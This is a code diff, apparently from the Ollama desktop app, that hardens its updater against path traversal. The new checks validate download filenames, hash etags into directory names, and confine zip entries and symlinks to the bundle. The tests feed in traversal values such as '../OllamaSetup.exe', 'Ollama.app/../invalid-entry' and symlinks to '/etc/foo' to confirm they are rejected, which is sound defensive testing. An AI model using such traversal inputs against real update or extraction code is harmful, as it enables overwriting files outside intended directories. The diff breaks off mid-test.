-    const cloudModels = FEATURED_MODELS.filter((m) => m.endsWith("cloud"));
-    for (let i = 0; i < cloudModels.length; i++) {
-      expect(merged[i].model).toBe(cloudModels[i]);
-      expect(merged[i].isCloud()).toBe(true);
-    }
-
-    // Then verify non-cloud featured models are next and in FEATURED_MODELS order
-    const nonCloudFeatured = FEATURED_MODELS.filter(
-      (m) => !m.endsWith("cloud"),
-    );
-    for (let i = 0; i < nonCloudFeatured.length; i++) {
-      const model = merged[i + cloudModels.length];
-      expect(model.model).toBe(nonCloudFeatured[i]);
-      expect(model.isCloud()).toBe(false);
-    }
-
-    // Non-featured local models should be at the end in alphabetical order
-    const featuredCount = FEATURED_MODELS.length;
-    expect(merged[featuredCount].model).toBe("alpha:latest");
-    expect(merged[featuredCount + 1].model).toBe("zephyr:latest");
-  });
-});

app/ui/app/src/utils/mergeModels.ts

@@ -1,102 +0,0 @@
-import { Model } from "@/gotypes";
-
-// Featured models list (in priority order)
-export const FEATURED_MODELS = [
-  "kimi-k2.5:cloud",
-  "glm-5:cloud",
-  "minimax-m2.7:cloud",
-  "gemma4:31b-cloud",
-  "qwen3.5:397b-cloud",
-  "gpt-oss:120b-cloud",
-  "gpt-oss:20b-cloud",
-  "deepseek-v3.1:671b-cloud",
-  "gpt-oss:120b",
-  "gpt-oss:20b",
-  "gemma4:31b",
-  "gemma4:26b",
-  "gemma4:e4b",
-  "gemma4:e2b",
-  "deepseek-r1:8b",
-  "qwen3-coder:30b",
-  "qwen3-vl:30b",
-  "qwen3-vl:8b",
-  "qwen3-vl:4b",
-  "qwen3.5:27b",
-  "qwen3.5:9b",
-  "qwen3.5:4b",
-];
-
-function alphabeticalSort(a: Model, b: Model): number {
-  return a.model.toLowerCase().localeCompare(b.model.toLowerCase());
-}
-
-//Merges models, sorting cloud models first, then other models
-export function mergeModels(
-  localModels: Model[],
-  hideCloudModels: boolean = false,
-): Model[] {
-  const allModels = (localModels || []).map((model) => model);
-
-  // 1. Get cloud models from local models and featured list
-  const cloudModels = [...allModels.filter((m) => m.isCloud())];
-
-  // Add any cloud models from FEATURED_MODELS that aren't in local models
-  FEATURED_MODELS.filter((f) => f.endsWith("cloud")).forEach((cloudModel) => {
-    if (!cloudModels.some((m) => m.model === cloudModel)) {
-      cloudModels.push(new Model({ model: cloudModel }));
-    }
-  });
-
-  // 2. Get other featured models (non-cloud)
-  const featuredModels = FEATURED_MODELS.filter(
-    (f) => !f.endsWith("cloud"),
-  ).map((model) => {
-    // Check if this model exists in local models
-    const localMatch = allModels.find(
-      (m) => m.model.toLowerCase() === model.toLowerCase(),
-    );
-
-    if (localMatch) return localMatch;
-
-    return new Model({
-      model,
-    });
-  });
-
-  // 3. Get remaining local models that aren't featured and aren't cloud models
-  const remainingModels = allModels.filter(
-    (model) =>
-      !model.isCloud() &&
-      !FEATURED_MODELS.some(
-        (f) => f.toLowerCase() === model.model.toLowerCase(),
-      ),
-  );
-
-  cloudModels.sort((a, b) => {
-    const aIndex = FEATURED_MODELS.indexOf(a.model);
-    const bIndex = FEATURED_MODELS.indexOf(b.model);
-
-    // If both are featured, sort by their position in FEATURED_MODELS
-    if (aIndex !== -1 && bIndex !== -1) {
-      return aIndex - bIndex;
-    }
-
-    // If only one is featured, featured model comes first
-    if (aIndex !== -1 && bIndex === -1) return -1;
-    if (aIndex === -1 && bIndex !== -1) return 1;
-
-    // If neither is featured, sort alphabetically
-    return a.model.toLowerCase().localeCompare(b.model.toLowerCase());
-  });
-
-  featuredModels.sort(
-    (a, b) =>
-      FEATURED_MODELS.indexOf(a.model) - FEATURED_MODELS.indexOf(b.model),
-  );
-
-  remainingModels.sort(alphabeticalSort);
-
-  return hideCloudModels
-    ? [...featuredModels, ...remainingModels]
-    : [...cloudModels, ...featuredModels, ...remainingModels];
-}

app/ui/ui.go

@@ -302,6 +302,7 @@ func (s *Server) Handler() http.Handler {
 	mux.Handle("HEAD /api/version", ollamaProxy)
 	mux.Handle("POST /api/me", ollamaProxy)
 	mux.Handle("POST /api/signout", ollamaProxy)
+	mux.Handle("GET /api/experimental/model-recommendations", ollamaProxy)
 
 	// React app - catch all non-API routes and serve the React app
 	mux.Handle("GET /", s.appHandler())
@@ -573,6 +574,18 @@ func (s *Server) getError(err error) responses.ErrorEvent {
 	}
 }
 
+func userMessageText(messages []store.Message) string {
+	var b strings.Builder
+	for _, message := range messages {
+		if message.Role != "user" {
+			continue
+		}
+		b.WriteString(message.Content)
+		b.WriteByte('\n')
+	}
+	return b.String()
+}
+
 func (s *Server) browserState(chat *store.Chat) (*responses.BrowserStateData, bool) {
 	if len(chat.BrowserState) > 0 {
 		var st responses.BrowserStateData
@@ -838,6 +851,7 @@ func (s *Server) chat(w http.ResponseWriter, r *http.Request) error {
 	// Note: Skip agent/tools mode if user has attachments, as the agent doesn't handle file attachments properly
 	registry := tools.NewRegistry()
 	var browser *tools.Browser
+	ctx = tools.WithAllowedDirectURLs(ctx, userMessageText(chat.Messages))
 
 	if !hasAttachments {
 		WebSearchEnabled := req.WebSearch != nil && *req.WebSearch

app/updater/updater.go

@@ -5,6 +5,8 @@ package updater
 import (
 	"context"
 	"crypto/rand"
+	"crypto/sha256"
+	"encoding/hex"
 	"encoding/json"
 	"errors"
 	"fmt"
@@ -169,22 +171,20 @@ func (u *Updater) DownloadNewRelease(ctx context.Context, updateResp UpdateRespo
 	if err != nil {
 		return fmt.Errorf("error checking update: %w", err)
 	}
+	resp.Body.Close()
 	if resp.StatusCode != http.StatusOK {
 		return fmt.Errorf("unexpected status attempting to download update %d", resp.StatusCode)
 	}
-	resp.Body.Close()
-	etag := strings.Trim(resp.Header.Get("etag"), "\"")
-	if etag == "" {
-		slog.Debug("no etag detected, falling back to filename based dedup")
-		etag = "_"
-	}
 	filename := Installer
 	_, params, err := mime.ParseMediaType(resp.Header.Get("content-disposition"))
-	if err == nil {
+	if err == nil && params["filename"] != "" {
 		filename = params["filename"]
 	}
 
-	stageFilename := filepath.Join(UpdateStageDir, etag, filename)
+	stageFilename, err := updateStagePath(UpdateStageDir, resp.Header.Get("etag"), filename)
+	if err != nil {
+		return err
+	}
 
 	// Check to see if we already have it downloaded
 	_, err = os.Stat(stageFilename)
@@ -202,13 +202,14 @@ func (u *Updater) DownloadNewRelease(ctx context.Context, updateResp UpdateRespo
 		return fmt.Errorf("error checking update: %w", err)
 	}
 	defer resp.Body.Close()
-	etag = strings.Trim(resp.Header.Get("etag"), "\"")
-	if etag == "" {
-		slog.Debug("no etag detected, falling back to filename based dedup") // TODO probably can get rid of this redundant log
-		etag = "_"
+	if resp.StatusCode != http.StatusOK {
+		return fmt.Errorf("unexpected status attempting to download update %d", resp.StatusCode)
 	}
 
-	stageFilename = filepath.Join(UpdateStageDir, etag, filename)
+	stageFilename, err = updateStagePath(UpdateStageDir, resp.Header.Get("etag"), filename)
+	if err != nil {
+		return err
+	}
 
 	_, err = os.Stat(filepath.Dir(stageFilename))
 	if errors.Is(err, os.ErrNotExist) {
@@ -225,10 +226,13 @@ func (u *Updater) DownloadNewRelease(ctx context.Context, updateResp UpdateRespo
 	if err != nil {
 		return fmt.Errorf("write payload %s: %w", stageFilename, err)
 	}
-	defer fp.Close()
 	if n, err := fp.Write(payload); err != nil || n != len(payload) {
+		_ = fp.Close()
 		return fmt.Errorf("write payload %s: %d vs %d -- %w", stageFilename, n, len(payload), err)
 	}
+	if err := fp.Close(); err != nil {
+		return fmt.Errorf("close payload %s: %w", stageFilename, err)
+	}
 	slog.Info("new update downloaded " + stageFilename)
 
 	if err := VerifyDownload(); err != nil {
@@ -239,6 +243,61 @@ func (u *Updater) DownloadNewRelease(ctx context.Context, updateResp UpdateRespo
 	return nil
 }
 
+func updateStagePath(stageDir, etag, filename string) (string, error) {
+	filename, err := safeUpdateFilename(filename)
+	if err != nil {
+		return "", err
+	}
+
+	stageDir, err = filepath.Abs(stageDir)
+	if err != nil {
+		return "", fmt.Errorf("resolve update stage dir: %w", err)
+	}
+
+	stageFilename := filepath.Join(stageDir, updateStageETagDir(etag), filename)
+	if err := ensurePathInDir(stageDir, stageFilename); err != nil {
+		return "", err
+	}
+
+	return stageFilename, nil
+}
+
+func safeUpdateFilename(filename string) (string, error) {
+	filename = strings.TrimSpace(filename)
+	if filename == "" {
+		return "", errors.New("missing update filename")
+	}
+	if filename == "." || filename == ".." ||
+		filepath.IsAbs(filename) || path.IsAbs(filename) ||
+		strings.ContainsAny(filename, `/\:`) ||
+		filepath.Base(filename) != filename || path.Base(filename) != filename {
+		return "", fmt.Errorf("unsafe update filename %q", filename)
+	}
+	return filename, nil
+}
+
+func updateStageETagDir(etag string) string {
+	etag = strings.Trim(strings.TrimSpace(etag), "\"")
+	if etag == "" {
+		slog.Debug("no etag detected, falling back to filename based dedup")
+		return "_"
+	}
+
+	sum := sha256.Sum256([]byte(etag))
+	return hex.EncodeToString(sum[:])
+}
+
+func ensurePathInDir(dir, name string) error {
+	rel, err := filepath.Rel(dir, name)
+	if err != nil {
+		return fmt.Errorf("resolve update staging path: %w", err)
+	}
+	if rel == ".." || strings.HasPrefix(rel, ".."+string(filepath.Separator)) || filepath.IsAbs(rel) {
+		return fmt.Errorf("update staging path escapes stage dir: %s", name)
+	}
+	return nil
+}
+
 func cleanupOldDownloads(stageDir string) {
 	files, err := os.ReadDir(stageDir)
 	if err != nil && errors.Is(err, os.ErrNotExist) {

app/updater/updater_darwin.go

@@ -22,6 +22,15 @@ import (
 	"golang.org/x/sys/unix"
 )
 
+const updateArchiveRoot = "Ollama.app"
+
+type bundleEntryScope int
+
+const (
+	bundleEntryRelative bundleEntryScope = iota
+	bundleEntryWithArchiveRoot
+)
+
 var (
 	appBackupDir   string
 	SystemWidePath = "/Applications/Ollama.app"
@@ -167,8 +176,12 @@ func DoUpgrade(interactive bool) error {
 		}
 		name := s[1]
 		if strings.HasSuffix(name, "/") {
-			d := filepath.Join(BundlePath, name)
-			err := os.MkdirAll(d, 0o755)
+			d, err := bundleEntryPath(BundlePath, name, bundleEntryRelative)
+			if err != nil {
+				anyFailures = true
+				return err
+			}
+			err = os.MkdirAll(d, 0o755)
 			if err != nil {
 				anyFailures = true
 				return fmt.Errorf("failed to mkdir %s: %w", d, err)
@@ -181,30 +194,14 @@ func DoUpgrade(interactive bool) error {
 			continue
 		}
 
-		src, err := f.Open()
+		destName, err := bundleEntryPath(BundlePath, name, bundleEntryRelative)
 		if err != nil {
 			anyFailures = true
-			return fmt.Errorf("failed to open bundle file %s: %w", name, err)
+			return err
 		}
-		destName := filepath.Join(BundlePath, name)
-		// Verify directory first
-		d := filepath.Dir(destName)
-		if _, err := os.Stat(d); err != nil {
-			err := os.MkdirAll(d, 0o755)
-			if err != nil {
-				anyFailures = true
-				return fmt.Errorf("failed to mkdir %s: %w", d, err)
-			}
-		}
-		destFile, err := os.OpenFile(destName, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0o755)
-		if err != nil {
+		if err := extractBundleFile(f, destName, name); err != nil {
 			anyFailures = true
-			return fmt.Errorf("failed to open output file %s: %w", destName, err)
-		}
-		defer destFile.Close()
-		if _, err := io.Copy(destFile, src); err != nil {
-			anyFailures = true
-			return fmt.Errorf("failed to open extract file %s: %w", destName, err)
+			return err
 		}
 	}
 	for _, f := range links {
@@ -225,16 +222,24 @@ func DoUpgrade(interactive bool) error {
 			return err
 		}
 		link := string(buf)
-		if link[0] == '/' {
+		if link == "" {
+			anyFailures = true
+			return fmt.Errorf("bundle contains empty symlink %s", f.Name)
+		}
+		if filepath.IsAbs(link) {
 			anyFailures = true
 			return fmt.Errorf("bundle contains absolute symlink %s -> %s", f.Name, link)
 		}
-		// Don't allow links outside of Ollama.app
-		if strings.HasPrefix(filepath.Join(filepath.Dir(name), link), "..") {
+		if !validBundleLinkTarget(name, link, bundleEntryRelative) {
 			anyFailures = true
-			return fmt.Errorf("bundle contains link outside of contents %s -> %s", f.Name, link)
+			return fmt.Errorf("bundle contains invalid symlink %s -> %s", f.Name, link)
 		}
-		if err = os.Symlink(link, filepath.Join(BundlePath, name)); err != nil {
+		destName, err := bundleEntryPath(BundlePath, name, bundleEntryRelative)
+		if err != nil {
+			anyFailures = true
+			return err
+		}
+		if err = os.Symlink(link, destName); err != nil {
 			anyFailures = true
 			return err
 		}
@@ -282,8 +287,11 @@ func verifyDownload() error {
 	links := []*zip.File{}
 	for _, f := range r.File {
 		if strings.HasSuffix(f.Name, "/") {
-			d := filepath.Join(dir, f.Name)
-			err := os.MkdirAll(d, 0o755)
+			d, err := bundleEntryPath(dir, f.Name, bundleEntryWithArchiveRoot)
+			if err != nil {
+				return err
+			}
+			err = os.MkdirAll(d, 0o755)
 			if err != nil {
 				return fmt.Errorf("failed to mkdir %s: %w", d, err)
 			}
@@ -294,26 +302,12 @@ func verifyDownload() error {
 			links = append(links, f)
 			continue
 		}
-		src, err := f.Open()
+		destName, err := bundleEntryPath(dir, f.Name, bundleEntryWithArchiveRoot)
 		if err != nil {
-			return fmt.Errorf("failed to open bundle file %s: %w", f.Name, err)
+			return err
 		}
-		destName := filepath.Join(dir, f.Name)
-		// Verify directory first
-		d := filepath.Dir(destName)
-		if _, err := os.Stat(d); err != nil {
-			err := os.MkdirAll(d, 0o755)
-			if err != nil {
-				return fmt.Errorf("failed to mkdir %s: %w", d, err)
-			}
-		}
-		destFile, err := os.OpenFile(destName, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0o755)
-		if err != nil {
-			return fmt.Errorf("failed to open output file %s: %w", destName, err)
-		}
-		defer destFile.Close()
-		if _, err := io.Copy(destFile, src); err != nil {
-			return fmt.Errorf("failed to open extract file %s: %w", destName, err)
+		if err := extractBundleFile(f, destName, f.Name); err != nil {
+			return err
 		}
 	}
 	for _, f := range links {
@@ -326,13 +320,20 @@ func verifyDownload() error {
 			return err
 		}
 		link := string(buf)
-		if link[0] == '/' {
+		if link == "" {
+			return fmt.Errorf("bundle contains empty symlink %s", f.Name)
+		}
+		if filepath.IsAbs(link) {
 			return fmt.Errorf("bundle contains absolute symlink %s -> %s", f.Name, link)
 		}
-		if strings.HasPrefix(filepath.Join(filepath.Dir(f.Name), link), "..") {
-			return fmt.Errorf("bundle contains link outside of contents %s -> %s", f.Name, link)
+		if !validBundleLinkTarget(f.Name, link, bundleEntryWithArchiveRoot) {
+			return fmt.Errorf("bundle contains invalid symlink %s -> %s", f.Name, link)
 		}
-		if err = os.Symlink(link, filepath.Join(dir, f.Name)); err != nil {
+		destName, err := bundleEntryPath(dir, f.Name, bundleEntryWithArchiveRoot)
+		if err != nil {
+			return err
+		}
+		if err = os.Symlink(link, destName); err != nil {
 			return err
 		}
 	}
@@ -343,6 +344,53 @@ func verifyDownload() error {
 	return nil
 }
 
+func bundleEntryPath(root, name string, scope bundleEntryScope) (string, error) {
+	cleanName := filepath.Clean(filepath.FromSlash(name))
+	if !filepath.IsLocal(cleanName) {
+		return "", fmt.Errorf("bundle contains invalid path: %s", name)
+	}
+	if scope == bundleEntryWithArchiveRoot && cleanName != updateArchiveRoot &&
+		!strings.HasPrefix(cleanName, updateArchiveRoot+string(os.PathSeparator)) {
+		return "", fmt.Errorf("bundle contains invalid path: %s", name)
+	}
+	return filepath.Join(root, cleanName), nil
+}
+
+func extractBundleFile(f *zip.File, destName, name string) error {
+	src, err := f.Open()
+	if err != nil {
+		return fmt.Errorf("failed to open bundle file %s: %w", name, err)
+	}
+	defer src.Close()
+
+	d := filepath.Dir(destName)
+	if _, err := os.Stat(d); err != nil {
+		if err := os.MkdirAll(d, 0o755); err != nil {
+			return fmt.Errorf("failed to mkdir %s: %w", d, err)
+		}
+	}
+
+	destFile, err := os.OpenFile(destName, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0o755)
+	if err != nil {
+		return fmt.Errorf("failed to open output file %s: %w", destName, err)
+	}
+	defer destFile.Close()
+
+	if _, err := io.Copy(destFile, src); err != nil {
+		return fmt.Errorf("failed to open extract file %s: %w", destName, err)
+	}
+	return nil
+}
+
+func validBundleLinkTarget(name, link string, scope bundleEntryScope) bool {
+	cleanTarget := filepath.Clean(filepath.Join(filepath.Dir(filepath.FromSlash(name)), filepath.FromSlash(link)))
+	if !filepath.IsLocal(cleanTarget) {
+		return false
+	}
+	return scope == bundleEntryRelative || cleanTarget == updateArchiveRoot ||
+		strings.HasPrefix(cleanTarget, updateArchiveRoot+string(os.PathSeparator))
+}
+
 // If we detect an upgrade bundle, attempt to upgrade at startup
 func DoUpgradeAtStartup() error {
 	bundle := getStagedUpdate()

app/updater/updater_darwin_test.go

@@ -2,6 +2,7 @@ package updater
 
 import (
 	"archive/zip"
+	"errors"
 	"io/fs"
 	"os"
 	"path/filepath"
@@ -146,6 +147,46 @@ func TestDoUpgrade(t *testing.T) {
 	}
 }
 
+func TestDoUpgradeRejectsInvalidBundlePath(t *testing.T) {
+	tmpDir := t.TempDir()
+	BundlePath = filepath.Join(tmpDir, "Ollama.app")
+	appBackupDir = filepath.Join(tmpDir, "backup")
+	UpdateStageDir = filepath.Join(tmpDir, "updates")
+	UpgradeMarkerFile = filepath.Join(tmpDir, "upgraded")
+	bundle := filepath.Join(UpdateStageDir, "foo", "ollama-darwin.zip")
+	invalidTarget := filepath.Join(tmpDir, "invalid-entry")
+
+	if err := os.MkdirAll(filepath.Join(BundlePath, "Contents", "MacOS"), 0o755); err != nil {
+		t.Fatal("failed to create empty dirs")
+	}
+	if err := os.WriteFile(filepath.Join(BundlePath, "Contents", "MacOS", "Ollama"), []byte("old app"), 0o755); err != nil {
+		t.Fatal("failed to create old app")
+	}
+	if err := os.MkdirAll(filepath.Dir(bundle), 0o755); err != nil {
+		t.Fatal("failed to create empty dirs")
+	}
+	if err := zipCreationHelper(bundle, []testPayload{{
+		Name: "Ollama.app/../invalid-entry",
+		Body: []byte("payload"),
+	}}); err != nil {
+		t.Fatal(err)
+	}
+
+	if err := DoUpgrade(false); err == nil {
+		t.Fatal("expected failure with invalid bundle path")
+	} else if !strings.Contains(err.Error(), "bundle contains invalid path") {
+		t.Fatalf("unexpected error with invalid bundle path: %s", err)
+	}
+	if _, err := os.Stat(invalidTarget); err == nil {
+		t.Fatalf("invalid bundle path wrote %s", invalidTarget)
+	} else if !errors.Is(err, os.ErrNotExist) {
+		t.Fatalf("unexpected stat error for %s: %s", invalidTarget, err)
+	}
+	if _, err := os.Stat(filepath.Join(BundlePath, "Contents", "MacOS", "Ollama")); err != nil {
+		t.Fatalf("old app was not restored: %s", err)
+	}
+}
+
 func TestDoUpgradeAtStartup(t *testing.T) {
 	tmpDir := t.TempDir()
 	BundlePath = filepath.Join(tmpDir, "Ollama.app")
@@ -203,7 +244,7 @@ func TestVerifyDownloadFailures(t *testing.T) {
 		in       []testPayload
 		expected string
 	}{
-		{"breakout", []testPayload{
+		{"invalid symlink target", []testPayload{
 			{
 				Name: "Ollama.app/",
 				Body: []byte{},
@@ -212,15 +253,34 @@ func TestVerifyDownloadFailures(t *testing.T) {
 				Body: []byte("cli payload here"),
 			}, {
 				Name: "Ollama.app/Contents/MacOS/Ollama",
-				Body: []byte("../../../../breakout"),
+				Body: []byte("../../../../invalid-target"),
 				Mode: os.ModeSymlink,
 			},
-		}, "bundle contains link outside"},
+		}, "bundle contains invalid symlink"},
+		{"invalid archive symlink target", []testPayload{
+			{
+				Name: "Ollama.app/Contents/MacOS/Ollama",
+				Body: []byte("../../../invalid-target"),
+				Mode: os.ModeSymlink,
+			},
+		}, "bundle contains invalid symlink"},
 		{"absolute", []testPayload{{
 			Name: "Ollama.app/Contents/MacOS/Ollama",
 			Body: []byte("/etc/foo"),
 			Mode: os.ModeSymlink,
 		}}, "bundle contains absolute"},
+		{"invalid relative file", []testPayload{{
+			Name: "Ollama.app/../invalid-entry",
+			Body: []byte("payload"),
+		}}, "bundle contains invalid path"},
+		{"invalid relative directory", []testPayload{{
+			Name: "Ollama.app/../invalid-entry/",
+			Body: []byte{},
+		}}, "bundle contains invalid path"},
+		{"absolute file", []testPayload{{
+			Name: filepath.Join(tmpDir, "invalid-entry"),
+			Body: []byte("payload"),
+		}}, "bundle contains invalid path"},
 		{"missing", []testPayload{{
 			Name: "Ollama.app/Contents/MacOS/Ollama",
 			Body: []byte("../nothere"),
@@ -242,6 +302,11 @@ func TestVerifyDownloadFailures(t *testing.T) {
 			if err == nil || !strings.Contains(err.Error(), tt.expected) {
 				t.Fatalf("expected \"%s\" got %s", tt.expected, err)
 			}
+			if _, err := os.Stat(filepath.Join(tmpDir, "invalid-entry")); err == nil {
+				t.Fatal("invalid bundle path wrote unexpected file")
+			} else if !errors.Is(err, os.ErrNotExist) {
+				t.Fatalf("unexpected stat error for invalid file: %s", err)
+			}
 		})
 	}
 }

app/updater/updater_live_test.go

@@ -0,0 +1,127 @@
+//go:build (windows || darwin) && updater_live
+
+package updater
+
+import (
+	"context"
+	"os"
+	"path/filepath"
+	"runtime"
+	"strings"
+	"testing"
+	"time"
+
+	"github.com/ollama/ollama/app/store"
+	"github.com/ollama/ollama/app/version"
+)
+
+// TestLiveAppUpdate exercises the production update endpoint and downloads the
+// current OS update artifact. It is intentionally excluded from normal test
+// runs because it depends on ollama.com and downloads a release artifact.
+//
+// Run with:
+//
+//	go test -tags updater_live -run TestLiveAppUpdate ./app/updater
+func TestLiveAppUpdate(t *testing.T) {
+	const spoofedVersion = "0.20.0"
+
+	ctx, cancel := context.WithTimeout(context.Background(), 10*time.Minute)
+	defer cancel()
+
+	oldUpdateStageDir := UpdateStageDir
+	oldUpdateDownloaded := UpdateDownloaded
+	oldVerifyDownload := VerifyDownload
+	oldVersion := version.Version
+	defer func() {
+		UpdateStageDir = oldUpdateStageDir
+		UpdateDownloaded = oldUpdateDownloaded
+		VerifyDownload = oldVerifyDownload
+		version.Version = oldVersion
+	}()
+
+	version.Version = spoofedVersion
+
+	expectedFilename := ""
+	switch runtime.GOOS {
+	case "windows":
+		t.Setenv("LOCALAPPDATA", t.TempDir())
+		expectedFilename = "OllamaSetup.exe"
+	case "darwin":
+		expectedFilename = "Ollama-darwin.zip"
+	default:
+		t.Fatalf("unsupported updater live test OS %q", runtime.GOOS)
+	}
+
+	UpdateStageDir = filepath.Join(t.TempDir(), "updates")
+	UpdateDownloaded = false
+	verifyCalled := false
+	VerifyDownload = func() error {
+		verifyCalled = true
+		return verifyDownload()
+	}
+
+	updater := &Updater{Store: &store.Store{DBPath: filepath.Join(t.TempDir(), "db.sqlite")}}
+	defer updater.Store.Close()
+
+	available, updateResp := updater.checkForUpdate(ctx)
+	if !available {
+		t.Fatalf("expected production update check to offer an update for spoofed version %s", spoofedVersion)
+	}
+	if updateResp.UpdateURL == "" {
+		t.Fatal("production update response did not include a download URL")
+	}
+	t.Logf("production update version=%q url=%q", updateResp.UpdateVersion, updateResp.UpdateURL)
+
+	if err := updater.DownloadNewRelease(ctx, updateResp); err != nil {
+		t.Fatalf("download production update: %v", err)
+	}
+
+	staged := getStagedUpdate()
+	if staged == "" {
+		t.Fatal("production update was not staged")
+	}
+	t.Logf("staged production update at %s", staged)
+
+	assertPathInsideDir(t, UpdateStageDir, staged)
+	if filepath.Base(staged) != expectedFilename {
+		t.Fatalf("expected staged %s update filename to be %q, got %q", runtime.GOOS, expectedFilename, filepath.Base(staged))
+	}
+	expectedExt := filepath.Ext(expectedFilename)
+	if filepath.Ext(staged) != expectedExt {
+		t.Fatalf("expected staged %s update to be a %s artifact, got %s", runtime.GOOS, expectedExt, staged)
+	}
+
+	info, err := os.Stat(staged)
+	if err != nil {
+		t.Fatalf("stat staged update: %v", err)
+	}
+	if info.Size() == 0 {
+		t.Fatal("staged production update is empty")
+	}
+
+	if !verifyCalled {
+		t.Fatal("DownloadNewRelease did not call VerifyDownload")
+	}
+	t.Logf("production updater download path verified staged %s update", runtime.GOOS)
+}
+
+func assertPathInsideDir(t *testing.T, dir, name string) {
+	t.Helper()
+
+	dir, err := filepath.Abs(dir)
+	if err != nil {
+		t.Fatal(err)
+	}
+	name, err = filepath.Abs(name)
+	if err != nil {
+		t.Fatal(err)
+	}
+
+	rel, err := filepath.Rel(dir, name)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if rel == ".." || strings.HasPrefix(rel, ".."+string(filepath.Separator)) || filepath.IsAbs(rel) {
+		t.Fatalf("staged update escaped update stage dir: %s", name)
+	}
+}

app/updater/updater_test.go

@@ -11,7 +11,9 @@ import (
 	"log/slog"
 	"net/http"
 	"net/http/httptest"
+	"os"
 	"path/filepath"
+	"strings"
 	"sync/atomic"
 	"testing"
 	"time"
@@ -19,6 +21,52 @@ import (
 	"github.com/ollama/ollama/app/store"
 )
 
+func TestUpdateStagePathRejectsUnsafeFilename(t *testing.T) {
+	stageDir := t.TempDir()
+	for _, tt := range []struct {
+		name     string
+		filename string
+	}{
+		{"empty", ""},
+		{"dot", "."},
+		{"dotdot", ".."},
+		{"posix_parent", "../OllamaSetup.exe"},
+		{"windows_parent", `..\OllamaSetup.exe`},
+		{"posix_absolute_tmp", "/tmp/OllamaSetup.exe"},
+		{"darwin_absolute_app", "/Applications/Ollama.app"},
+		{"darwin_bundle_path", "Ollama.app/Contents/MacOS/Ollama"},
+		{"darwin_user_download", "~/Downloads/Ollama-darwin.zip"},
+		{"windows_absolute", `C:\Users\Public\OllamaSetup.exe`},
+		{"colon", "Ollama:Setup.exe"},
+	} {
+		t.Run(tt.name, func(t *testing.T) {
+			if _, err := updateStagePath(stageDir, "etag", tt.filename); err == nil {
+				t.Fatal("expected unsafe filename to be rejected")
+			}
+		})
+	}
+}
+
+func TestUpdateStagePathHashesETag(t *testing.T) {
+	stageDir := t.TempDir()
+	stageFilename, err := updateStagePath(stageDir, `../escaped`, "OllamaSetup.exe")
+	if err != nil {
+		t.Fatal(err)
+	}
+
+	rel, err := filepath.Rel(stageDir, stageFilename)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if rel == ".." || strings.HasPrefix(rel, ".."+string(filepath.Separator)) || filepath.IsAbs(rel) {
+		t.Fatalf("stage filename escaped stage dir: %s", stageFilename)
+	}
+	etagDir := filepath.Base(filepath.Dir(stageFilename))
+	if etagDir == ".." || etagDir == "escaped" || strings.ContainsAny(etagDir, `/\`) {
+		t.Fatalf("stage filename used raw etag path component: %s", stageFilename)
+	}
+}
+
 func TestIsNewReleaseAvailable(t *testing.T) {
 	slog.SetLogLoggerLevel(slog.LevelDebug)
 	var server *httptest.Server
@@ -47,6 +95,223 @@ func TestIsNewReleaseAvailable(t *testing.T) {
 	}
 }
 
+func TestDownloadNewReleaseRejectsUnsafeHeaderFilename(t *testing.T) {
+	UpdateStageDir = t.TempDir()
+	oldInstaller := Installer
+	oldVerifyDownload := VerifyDownload
+	oldUpdateDownloaded := UpdateDownloaded
+	defer func() {
+		Installer = oldInstaller
+		VerifyDownload = oldVerifyDownload
+		UpdateDownloaded = oldUpdateDownloaded
+	}()
+	Installer = "OllamaSetup.exe"
+	UpdateDownloaded = false
+	VerifyDownload = func() error {
+		t.Fatal("verification should not run for rejected downloads")
+		return nil
+	}
+
+	var getAttempted atomic.Bool
+	server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		if r.Method == http.MethodHead {
+			w.Header().Set("ETag", `"safe"`)
+			w.Header().Set("Content-Disposition", `attachment; filename="../OllamaSetup.exe"`)
+			w.WriteHeader(http.StatusOK)
+			return
+		}
+		getAttempted.Store(true)
+		w.WriteHeader(http.StatusOK)
+	}))
+	defer server.Close()
+
+	updater := &Updater{}
+	err := updater.DownloadNewRelease(t.Context(), UpdateResponse{UpdateURL: server.URL + "/download"})
+	if err == nil || !strings.Contains(err.Error(), "unsafe update filename") {
+		t.Fatalf("expected unsafe filename error, got %v", err)
+	}
+	if getAttempted.Load() {
+		t.Fatal("download should not continue after unsafe filename")
+	}
+	if _, err := os.Stat(filepath.Join(filepath.Dir(UpdateStageDir), "OllamaSetup.exe")); err == nil {
+		t.Fatal("download escaped update stage dir")
+	}
+}
+
+func TestDownloadNewReleaseDoesNotUseRawETagAsPathComponent(t *testing.T) {
+	UpdateStageDir = t.TempDir()
+	oldInstaller := Installer
+	oldVerifyDownload := VerifyDownload
+	oldUpdateDownloaded := UpdateDownloaded
+	defer func() {
+		Installer = oldInstaller
+		VerifyDownload = oldVerifyDownload
+		UpdateDownloaded = oldUpdateDownloaded
+	}()
+	Installer = "OllamaSetup.exe"
+	UpdateDownloaded = false
+	VerifyDownload = func() error {
+		return nil
+	}
+
+	payload := []byte("payload")
+	server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		w.Header().Set("ETag", `"../escaped"`)
+		w.WriteHeader(http.StatusOK)
+		if r.Method == http.MethodGet {
+			_, _ = w.Write(payload)
+		}
+	}))
+	defer server.Close()
+
+	updater := &Updater{}
+	if err := updater.DownloadNewRelease(t.Context(), UpdateResponse{UpdateURL: server.URL + "/download"}); err != nil {
+		t.Fatal(err)
+	}
+
+	if _, err := os.Stat(filepath.Join(filepath.Dir(UpdateStageDir), "escaped", Installer)); err == nil {
+		t.Fatal("download escaped update stage dir via etag")
+	}
+
+	entries, err := os.ReadDir(UpdateStageDir)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(entries) != 1 {
+		t.Fatalf("expected one staged update dir, got %d", len(entries))
+	}
+	stageFilename := filepath.Join(UpdateStageDir, entries[0].Name(), Installer)
+	got, err := os.ReadFile(stageFilename)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if string(got) != string(payload) {
+		t.Fatalf("unexpected staged payload %q", got)
+	}
+}
+
+func TestBackgroundCheckerSkipsAlreadyStagedETagDownload(t *testing.T) {
+	UpdateStageDir = t.TempDir()
+	oldInstaller := Installer
+	oldVerifyDownload := VerifyDownload
